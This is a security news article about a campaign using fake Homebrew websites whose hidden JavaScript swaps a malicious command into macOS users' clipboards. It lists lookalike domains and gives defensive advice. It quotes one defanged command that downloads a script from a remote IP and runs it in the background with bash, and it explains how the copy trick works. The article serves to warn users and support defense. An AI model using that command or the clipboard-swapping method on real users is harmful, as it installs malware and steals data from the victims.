Cybercriminals Target macOS Users with Fake Homebrew Websites to Deploy Malicious Software

A sophisticated cyberattack campaign has been identified, targeting macOS users through counterfeit Homebrew installer websites. These deceptive sites deliver malicious payloads alongside the legitimate Homebrew package manager, exploiting the trust users place in this widely-used software.

Understanding the Attack Mechanism

Homebrew is a popular open-source package manager that simplifies the installation of software on macOS. Cybercriminals have created nearly identical replicas of the official Homebrew website (brew.sh) to deceive users. These fraudulent domains include:

– homebrewfaq[.]org
– homebrewclubs[.]org
– homebrewupdate[.]org

These malicious sites mimic the official installation interface but incorporate hidden JavaScript designed to manipulate users’ clipboards without their knowledge. Unlike the authentic Homebrew page, which allows manual text selection, these spoofed versions disable standard text selection methods. Users are compelled to use a designated Copy button, which, when clicked, executes a function that writes a predetermined command to the clipboard. This command includes both the legitimate Homebrew installation script and additional malicious code.

Technical Details of the Clipboard Manipulation

The embedded JavaScript in these counterfeit sites employs advanced techniques to ensure users unknowingly copy and execute malicious commands:

– Event Listeners: The script disables standard text selection and context menu options by adding event listeners that prevent actions like right-clicking, selecting text, copying, cutting, and dragging.

– Copy Function: The Copy button triggers a function (`copyInstallCommand()`) that writes a malicious command to the clipboard. This function utilizes the modern Clipboard API or fallback methods for compatibility across different browsers.

– Malicious Command: The command typically includes a `curl` request to download and execute a script from a remote server. For example:

“`
curl -s http[:]//185[.]93[.]89[.]62/d/vipx69930 | nohup bash &
“`

This command downloads and runs a script in the background, allowing the legitimate Homebrew installation to proceed while simultaneously executing malicious code.

Implications of the Attack

This campaign signifies a notable evolution in supply chain attacks. Instead of compromising the package repositories themselves, attackers are intercepting users during the initial installation process. By impersonating a trusted installation source, they effectively bypass traditional security measures focused on repository monitoring.

The sophistication of this attack lies in its ability to exploit the inherent trust users place in familiar installation procedures. By creating pixel-perfect replicas of the official Homebrew site and employing advanced clipboard manipulation techniques, attackers increase the likelihood of successful infections.

Broader Context of macOS Targeted Attacks

This incident is part of a growing trend of cyberattacks targeting macOS users through deceptive websites and social engineering tactics. Other notable campaigns include:

– Fake DeepSeek Campaign: Cybercriminals distributed the Poseidon Stealer malware through a counterfeit DeepSeek AI platform website, compromising sensitive user data.

– Malicious Google Ads: Attackers used fake Google advertisements to impersonate the Homebrew package manager, leading users to download the AmosStealer malware.

– Fake Microsoft Teams Site: A deceptive website mimicking the official Microsoft Teams download page was used to distribute the Odyssey information stealer, harvesting sensitive data from macOS users.

Protective Measures for Users

To safeguard against such sophisticated attacks, macOS users should adopt the following practices:

1. Verify Website Authenticity: Always ensure you are accessing official websites by checking the URL carefully. Be cautious of domains that closely resemble legitimate ones but have slight variations.

2. Avoid Copying Commands from Untrusted Sources: Refrain from copying and executing commands from websites unless you are certain of their legitimacy. If a site prompts you to copy a command, double-check its authenticity.

3. Use Trusted Sources for Software Installation: Download software only from official sources or trusted repositories. For Homebrew, the official website is brew.sh.

4. Keep Software Updated: Regularly update your operating system and installed applications to patch known vulnerabilities.

5. Employ Security Software: Utilize reputable security software that can detect and prevent malicious activities.

6. Be Cautious of Unexpected Prompts: If a website prompts you to perform actions like entering your password or executing commands, exercise caution and verify the request’s legitimacy.

Conclusion

The emergence of spoofed Homebrew websites delivering malicious payloads underscores the increasing sophistication of cyberattacks targeting macOS users. By exploiting the trust placed in widely-used tools and employing advanced social engineering techniques, attackers can effectively compromise systems. Users must remain vigilant, verify the authenticity of websites and commands, and adopt robust security practices to mitigate the risks associated with such deceptive campaigns.